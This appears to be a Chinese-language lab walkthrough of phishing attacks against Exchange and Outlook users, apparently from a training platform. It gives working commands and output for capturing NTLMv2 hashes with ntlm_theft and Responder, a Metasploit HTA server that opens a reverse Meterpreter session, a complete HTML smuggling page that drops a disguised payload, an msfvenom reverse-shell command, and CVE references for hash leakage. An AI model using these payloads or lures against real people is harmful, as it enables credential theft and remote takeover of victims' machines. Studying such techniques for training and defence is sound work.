Exchange 钓鱼
1. Phishing NTLM Hashes
如果我们发送一封包含指向 SMB 共享链接的电子邮件,Windows 会自动尝试对该共享进行身份验证,从而使我们能够捕获接收该电子邮件的用户的 NTLMv2 哈希值
有些情况下这种方法可能行不通,例如:
- 如果网络不允许出站端口 445。
- 如果 Outlook 客户端没有自动下载图像。
- 如果 Outlook 或 Windows 的特定设置阻止了与 SMB 的交互。
例如,我们可以添加一个指向 SMB 共享上图像的链接的签名,如果客户端尝试加载该图片,我们就可以捕获到NTLM 身份验证的哈希
有关NTLM Relay的技术请看Farming Hashes(shares webdev mssql)
这里使用ntlm_theft生成一个 htm 的文件,并设置好攻击机
┌──(root㉿kali)-[~/…/htb/Academy/exchange/Proxyshell-Exchange]
└─# ntlm_theft.py -g htm -s 10.10.14.80 -f student
Created: student/student.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Generation Complete.
┌──(root㉿kali)-[~/…/Academy/exchange/Proxyshell-Exchange/student]
└─# ls
student.htm
然后发送邮件等待对方打开
sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.4.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
...SNIP...
[+] Listening for
[HTTP] NTLMv2 Client : 10.129.230.42
[HTTP] NTLMv2 Username : INLANEFREIGHT\r.olsen
[HTTP] NTLMv2 Hash : r.olsen::INLANEFREIGHT:34d5b871a2039040:1D51AB3853356AA79421E1EC0ECABC47:01010000000000001D73315...SNIP...
2. 任意文件执行
如今大多数企业都部署了完善的电子邮件安全防护措施,以防止黑客发送带有 .exe、.ps1 等扩展名附件的钓鱼邮件,迫使钓鱼者使用更传统的文件格式,例如 .zip、.pdf、.doc、.xls 等
这里主要是利用宏文件进行执行
这里以HTML Application (HTA)文件为例
2.1.1. 生成HTA后门文件
msfconsole -x "use exploit/windows/misc/hta_server; set LHOST 10.10.14.207; set LPORT 8443; set SRVHOST 10.10.14.207; run -j"
...SNIP...
=[ metasploit v6.3.44-dev ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
LHOST => 10.10.14.207
LPORT => 8443
SRVHOST => 10.10.14.207
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.207:8443
[*] Using URL: http://10.10.14.207:8080/oDwKp3.hta
[*] Server started.
然后等待用户打开此文件,我们会获取到一个metasploit会话
[msf](Jobs:1 Agents:0) exploit(windows/misc/hta_server)
[*] 10.129.231.81 hta_server - Delivering Payload
[*] Sending stage (175686 bytes) to 10.129.231.81
[*] Meterpreter session 1 opened (10.10.14.207:8443 -> 10.129.231.81:62367) at 2024-08-13 17:52:01 -0400
还可以使用 GadgetToJScript 等工具,它提供了更强大的功能来绕过安全工具。这些工具通过生成 .NET 序列化小工具(gadgets),当在 JS、VBS 或 VBA 脚本中通过 BinaryFormatter 进行反序列化时,能够触发 .NET 程序集(assembly)的加载与执行。
3. 使用Responder 获取凭据
还有另一种诱骗用户提供凭据的方法,那就是通过 Responder's HTTP Server 。
默认情况下,如果用户连接到 Responder HTTP 网站,它会要求用户提供凭据。我们可以创建一些诱人的文本,然后使用 Insert hyperlink 选项插入链接
把超链接指向我们控制的服务器/机器, Responder 将在该服务器/机器的后台运行
用户尝试访问该链接后,系统会提示受害者提交其凭据,如下链接所示:
提交凭据后,在 Responder中可以捕获身份验证请求
responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.4.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.129.230.42
[HTTP] NTLMv2 Username : INLANEFREIGHT\r.olsen
[HTTP] NTLMv2 Hash : r.olsen::INLANEFREIGHT:34d5b871a2039040:1D51AB3853356AA79421E1EC0ECABC47:01010000000000001D73315...SNIP...
4. HTML 走私
HTML 走私 。它诱骗受害者打开一个看似无害的恶意 URL(网站)。一旦受害者访问该网站,恶意文件就会自动下载到受害者的计算机上。
相关的文章可以查看HTML smuggling: A Stealthier Approach to Deliver Malware
要执行 HTML 走私,我们需要创建一个 HTML 页面,该页面将提供来自 HTML 走私的 JavaScript 代码以下载可执行文件,例如:
<html>
<title> Internal File Sharing Service </title>
<h1> Your download will start in a few seconds.. </h1>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file ='<< BASE64 ENCODING OF MALICIOUS FILE >>';
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'policies.doc';
if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName);
else {
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
</body>
</html>
生成一个 msfvenom 后门
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.92 LPORT=9001 -f exe > shell.exe
对其进行 Base64 编码,并将编码后的数据粘贴到代码var file 变量中
base64 -w0 shell.exe
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAA <SNIP>
5. 利用CVE进行钓鱼
利用 CVE-2023-35636可以进行窃取NTLM哈希
该漏洞利用了日历共享功能,另一种窃取 NTLM 哈希值的方法是利用创建约会时“提醒”功能中的声音( Reminder - Sounds )
相关文章可以看 Outlook Vulnerability Discovery and New Ways to Leak NTLM Hashes
类似的漏洞还有 CVE-2023-23397,你可以使用自动化的自动化的 PowerShell 脚本来利用该漏洞



